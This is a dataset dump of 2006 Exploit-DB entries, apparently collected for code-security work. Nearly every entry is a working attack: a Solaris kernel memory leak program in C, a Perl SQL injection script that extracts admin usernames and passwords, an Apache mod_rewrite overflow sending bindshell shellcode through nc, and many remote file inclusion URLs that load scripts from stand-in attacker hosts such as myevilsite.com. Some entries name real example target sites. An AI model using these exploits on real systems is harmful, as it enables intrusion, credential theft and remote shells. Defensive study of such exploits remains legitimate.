QLWD/code_shield huggingface dataset:
标题: Solaris 10 sysinfo(2) - Local Kernel Memory Disclosure (2) EDB-ID: 2241 CVE: 2006-3824 类型: LOCAL 平台: SOLARIS 发布日期: 2006-08-22 漏洞利用脚本: /*
 * $Id: raptor_sysinfo.c,v 1.2 2006/08/22 13:47:54 raptor Exp $
 *
 * raptor_sysinfo.c - Solaris sysinfo(2) kernel memory leak
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * systeminfo.c for Sun Solaris allows local users to read kernel memory via 
 * a 0 variable count argument to the sysinfo system call, which causes a -1 
 * argument to be used by the copyout function. NOTE: this issue has been 
 * referred to as an integer overflow, but it is probably more like a 
 * signedness error or integer underflow (CVE-2006-3824).
 *
 * http://en.wikipedia.org/wiki/Pitagora_Suicchi
 *
 * Greets to prdelka, who also exploited this vulnerability.
 *
 * I should also definitely investigate the old sysinfo(2) vulnerability 
 * described in CVE-2003-1062, affecting Solaris/SPARC 2.6 through 9 and 
 * Solaris/x86 2.6 through 8... It may come in handy sooner or later;)
 *
 * Usage:
 * $ gcc raptor_sysinfo.c -o raptor_sysinfo -Wall
 * $ ./raptor_sysinfo kerndump 666666
 * [...]
 * $ ls -l kerndump 
 * -rwx------   1 raptor   other     666666 Aug 22 14:41 kerndump
 *
 * Vulnerable platforms (SPARC):
 * Solaris 10 without patch 118833-09 [tested]
 *
 * Vulnerable platforms (x86):
 * Solaris 10 without patch 118855-06 [untested]
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define INFO1 "raptor_sysinfo.c - Solaris sysinfo(2) kernel memory leak"
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define BUFSIZE 536870911

int  errno;

int main(int argc, char **argv)
{
 int  fd;
 size_t out, bufsize = BUFSIZE;
 char *buf;

 /* print exploit information */
 fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

 /* read command line */
 if (argc < 2) {
  fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]);
  exit(1);
 }
 if (argc > 2)
  if ((bufsize = atoi(argv[2])) == 0) {
   fprintf(stderr, "Error (atoi): invalid outsize\n");
   exit(1);
  }

 /* print some output */
 fprintf(stderr, "Using outfile\t: %s\n", argv[1]);
 fprintf(stderr, "Using outsize\t: %u\n\n", bufsize);

 /* prepare the output buffer */
 if ((buf = (char *)malloc(bufsize)) == NULL) {
  perror("Error (malloc)");
  fprintf(stderr, "Hint: Try again with a smaller output size\n");
  exit(1);
 }
 memset(buf, 0, bufsize);

 /* Pitagora Suicchi! */
 sysinfo(SI_SYSNAME, buf, 0);

 /* save output to outfile */
 if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) {
  perror("Error (open)");
  free(buf);
  exit(1);
 }
 out = write(fd, buf, bufsize);
 fprintf(stderr, "Pitagora Suicchi! %u bytes written to %s\n", out, argv[1]);
 fprintf(stderr, "Hint: Try also with a bigger output size\n");

 close(fd);
 free(buf);

 exit(0);
}

// milw0rm.com [2006-08-22] URL: https://www.exploit-db.com/exploits/2241
标题: SimpleBlog 2.0 - 'comments.asp' SQL Injection (2) EDB-ID: 2232 CVE: 2006-4300 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-20 漏洞利用脚本: #!/usr/bin/perl
#Method found by Chironex Fleckeri 
#Exploit By ASIANEAGLE
#Contact:admin@asianeagle.org
#Original advisory: http://www.milw0rm.com/exploits/2228
#Usage: exploitname.pl <host> <path> <id>
use IO::Socket;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
  print " *****SimpleBlog 2.0 SQL Injection Exploit***** \r\n";
  print "      *****www.asianeagle.org***** \r\n";
  }
sub usage() 
{
  header();
  print " *Usage: $0 <host> <path> <id>\r\n";
  print " *<host> = Victim's host ex: www.site.com\r\n";
  print " *<path> = SimpleBlog Path ex: /SimpleBlog/\r\n";
  print " *<id>   = Admin ID ex: 1\r\n";
  exit();
}
sub exploit () 
{
  $simserver = $ARGV[0];
  $simserver =~ s/(http:\/\/)//eg;
  $simhost   = "http://".$simserver;
  $simdir    = $ARGV[1];
  $simport   = "80";
  $simtar    = "comments.asp?id=";
  $simsql    = "-1%20UNION%20SELECT%20ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null%20FROM%20T_USERS%20WHERE%20id%20like%20".$ARGV[2];
  $simreq    = $simhost.$simdir.$simtar.$simsql;
 
  header();
  print "- Trying to connect: $simserver\r\n";
  $sim = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$simserver", PeerPort => "$simport") || die "- Connection failed...\n";
  print $sim "GET $simreq HTTP/1.1\n";
  print $sim "Accept: */*\n";
  print $sim "Referer: $simhost\n";
  print $sim "Accept-Language: tr\n";
  print $sim "User-Agent: Mozzilla\n";
  print $sim "Cache-Control: no-cache\n";
  print $sim "Host: $simserver\n";
  print $sim "Connection: close\n\n";
  print "Connected...\r\n";
  while ($answer = <$sim>) {
    if ($answer =~ /class=\"c_content\">(.*?)<\/td><\/tr>/) { 
      if ($1 == $ARGV[2]) {
        print "Seems Vulnerable :)\r\n";
      }
      else { die "- Exploit failed\n"; }     
    }
    if ($answer =~ /class=\"c_content\"><b>(.*)<\/b>/) {
      print "- Username: $1\r\n";
    }
    if ($answer =~ /href=\"mailto:(.*?)\">(.*?)<\/a>/) {
   print "- Password: $1\r\n";
    }  
  }
  
 
 
}

# milw0rm.com [2006-08-20] URL: https://www.exploit-db.com/exploits/2232
标题: Apache < 1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow EDB-ID: 2237 CVE: 2006-3747 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-08-21 漏洞利用脚本: #!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
# 
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P

echo -e "mod_rewrite apache off-by-one overflow"
echo    "by jack <jack\x40gulcas\x2eorg>\n\n"

if [ $# -ne 1 ] ; then
  echo "Usage: $0 webserver"
  exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3\
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04\
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66\
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31\
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8\
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76\
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db\
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\
Host: $host\r\n\r\n" | nc $host 80

# milw0rm.com [2006-08-21] URL: https://www.exploit-db.com/exploits/2237
标题: LBlog 1.05 - 'comments.asp' SQL Injection EDB-ID: 2230 CVE: 2006-4284 类型: WEBAPPS 平台: ASP 发布日期: 2006-08-20 漏洞利用脚本: ################################################################################
##                                                                            ##

##  LBlog <= "comments.asp" SQL Injection Exploit                             ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##  Credit by        |  Chironex Fleckeri                                     ##

##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##

##  Googledork       |  Powered By LBlog                                      ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##                                                                            ##
################################################################################

###################################################################################################################
#Usage : http://www.target.com/path/comments.asp?id=-1 UNION SELECT 0,username,password,3,4+FROM+LOGIN+WHERE+ID=1 #
###################################################################################################################

#################################################
#Admin Panel : http://www.target.com/path/admin #
#################################################

# milw0rm.com [2006-08-20] URL: https://www.exploit-db.com/exploits/2230
标题: Fantastic News 2.1.3 - 'script_path' Remote File Inclusion EDB-ID: 2221 CVE: 2006-4285 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-19 漏洞利用脚本: #==============================================================================================
#Fantastic News <= v2.1.3 (CONFIG[script_path]) Remote File Inclusion Exploit
#===============================================================================================
#                                                                            
#Critical Level : Dangerous                                                  
#                                                                            
#Venedor site : http://fscripts.com/              
#                                                                              
#Version : v2.1.2 & v2.1.3                                                  
#                                                                
#================================================================================================
#
#Dork : "Powered by Fantastic News v2.1.2" or "Powered by Fantastic News v2.1.3"
#
#================================================================================================
#
#Bug in : news.php
#
#Vlu Code :
#--------------------------------
#  require_once($CONFIG['script_path']."config.php");
#  require_once($CONFIG['script_path']."functions/functions.php");
#  require_once($CONFIG['script_path']."functions/mysql.php");
#  require_once($CONFIG['script_path']."functions/template.php");
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/news.php?CONFIG[script_path]=http://SHELLURL.COM?
#
#Example :
#   http://fscripts.com/ ====> vendor site =)) hahahahaaaaaa ====>    2.1.3
#   http://lnx.evanescencewebsite.com/PressArchive  =====>    2.1.2
#
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke XoRon Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf)
==================================================================================================

# milw0rm.com [2006-08-19] URL: https://www.exploit-db.com/exploits/2221
标题: Shadows Rising RPG 0.0.5b - Remote File Inclusion EDB-ID: 2229 CVE: 2006-4329 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-20 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Shadows Rising RPG (Pre-Alpha) <= 0.0.5b (CONFIG[gameroot]) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: Shadows Rising RPG (Pre-Alpha) v. 0.0.5b
- [Script site: http://sourceforge.net/projects/shadowsrising/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*

Shadows Rising RPG <- GAME OVER :D

*/
#Exploit:

http://www.site.com/[ShadowsRising_path]/core/includes/security.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[ShadowsRising_path]/core/includes/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[ShadowsRising_path]/qcms/includes/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[ShadowsRising_path]/qlib/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-20] URL: https://www.exploit-db.com/exploits/2229
标题: SimpleBlog 2.0 - 'comments.asp' SQL Injection (1) EDB-ID: 2228 CVE: 2006-4300 类型: WEBAPPS 平台: ASP 发布日期: 2006-08-20 漏洞利用脚本: ################################################################################
##                                                                            ##

##  SimpleBlog 2.0 <= "comments.asp" SQL Injection Exploit                    ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##  Credit by        |  Chironex Fleckeri                                     ##

##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##

##  Googledork       |  Powered By SimpleBlog 2.0                             ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##                                                                            ##
################################################################################

############################################################################################################################################################
#Usage : http://www.target.com/path/comments.asp?id=-1 UNION SELECT ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null FROM T_USERS WHERE id=1 #
############################################################################################################################################################

###########################################################
#Admin Panel : http://www.target.com/path/admin/login.asp #
###########################################################

# milw0rm.com [2006-08-20] URL: https://www.exploit-db.com/exploits/2228
标题: NES Game and NES System c108122 - Remote File Inclusion EDB-ID: 2226 CVE: 2006-4287 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-20 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- NES Game & NES System <= c108122 (phphtmllib) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: NES Game & NES System v. c108122
- [Script site: http://sourceforge.net/projects/nesgame
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*

a lot of include vulnerability .....

*/
#Exploit:

http://www.site.com/[NES_path]/phphtmllib/includes.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/tag_utils/divtag_utils.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/tag_utils/form_utils.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/tag_utils/html_utils.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/tag_utils/localinc.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/FooterNav.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/HTMLPageClass.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/InfoTable.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/localinc.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/NavTable.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/TextNav.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-20] URL: https://www.exploit-db.com/exploits/2226
标题: Mambo Component bigAPE-Backup 1.1 - Remote File Inclusion EDB-ID: 2225 CVE: 2006-4296 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-19 漏洞利用脚本: /*
Notes:
globals bypass with a multipart/form-data POST
 * PHP4 <= 4.4.0
 * PHP5 <= 5.0.5
http://www.hardened-php.net/globals-problem
/str0ke
*/

####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

mambo com_babackup (1.1) Component (mosConfig_absolute_path) Remote File Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################

Code: Tar.php?

require_once( $GLOBALS['mosConfig_absolute_path'] .  '/administrator/components/com_babackup/classes/PEAR.php' );


Exploit:
http://www.site.com/[path]/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://site.com/evilscript.txt?

####################################################

Greetz: Cyber-warrior TIM USERS
####################################################

download link: http://mamboxchange.com/frs/download.php/5072/com_babackup_1.1.zip

# milw0rm.com [2006-08-19] URL: https://www.exploit-db.com/exploits/2225
标题: Tutti Nova 1.6 - 'TNLIB_DIR' Remote File Inclusion EDB-ID: 2220 CVE: 2006-4277 2006-4276 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-19 漏洞利用脚本: #==============================================================================================
#Tutti Nova <= v1.6 (TNLIB_DIR) Remote File Inclusion Exploit
#===============================================================================================
#                                                                            
#Critical Level : Dangerous                                                  
#                                                                            
#Venedor site : http://prdownloads.sourceforge.net/tuttinova/tuttinova-1.6.zip             
#                                                                             
#Version : 3.5                                                  
#                                                               
#================================================================================================
#Bug in : include/novalib/class.novaEdit.mysql.php
#
#Vlu Code :
#--------------------------------
#  <?php
#
#  // FILE: class.novaEdit.mysql.php
#
#
#        require("{$TNLIB_DIR}class.novaRead.mysql.php");
#
#  class novaEdit extends novaRead
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/include/novalib/class.novaEdit.mysql.php?TNLIB_DIR=http://SHELLURL.COM?
#
#Example : http://uryuu.com/php/tuttinova-1.6/
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke XoRon Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf)
==================================================================================================

# milw0rm.com [2006-08-19] URL: https://www.exploit-db.com/exploits/2220
标题: SportsPHool 1.0 - 'mainnav' Remote File Inclusion EDB-ID: 2227 CVE: 2006-4278 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-20 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- SportsPHool <= 1.0 (mainnav) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: SportsPHool v.1.0
- [Script site: http://sourceforge.net/projects/sportsphool
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Exploit:

http://www.site.com/[SportsPHool_path]/includes/layout/plain.footer.php?mainnav=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-20] URL: https://www.exploit-db.com/exploits/2227
标题: Mambo Component com_lurm_constructor 0.6b - Remote File Inclusion EDB-ID: 2222 CVE: 2006-4372 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-19 漏洞利用脚本: ####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

mambo com_lurm_constructor Component (mosConfig_absolute_path) Remote File Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################

Code: admin.lurm_constructor.php, line 2

include($lm_absolute_path.'/admin/components/com_lurm/lang/lurm.'.$lm_adminlang);


Exploit:
http://www.site.com/[path]/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=http://site.com/evilscript.txt?

###################################################

Greetz: Cyber-warrior TIM USERS and The_Bat_Hacker

###################################################

download link
http://limbo-cms.com.ru/index.php/option/lurm/smpl/8/id/83/fld/usr_hits/task/url_visit/url/usr_file

# milw0rm.com [2006-08-19] URL: https://www.exploit-db.com/exploits/2222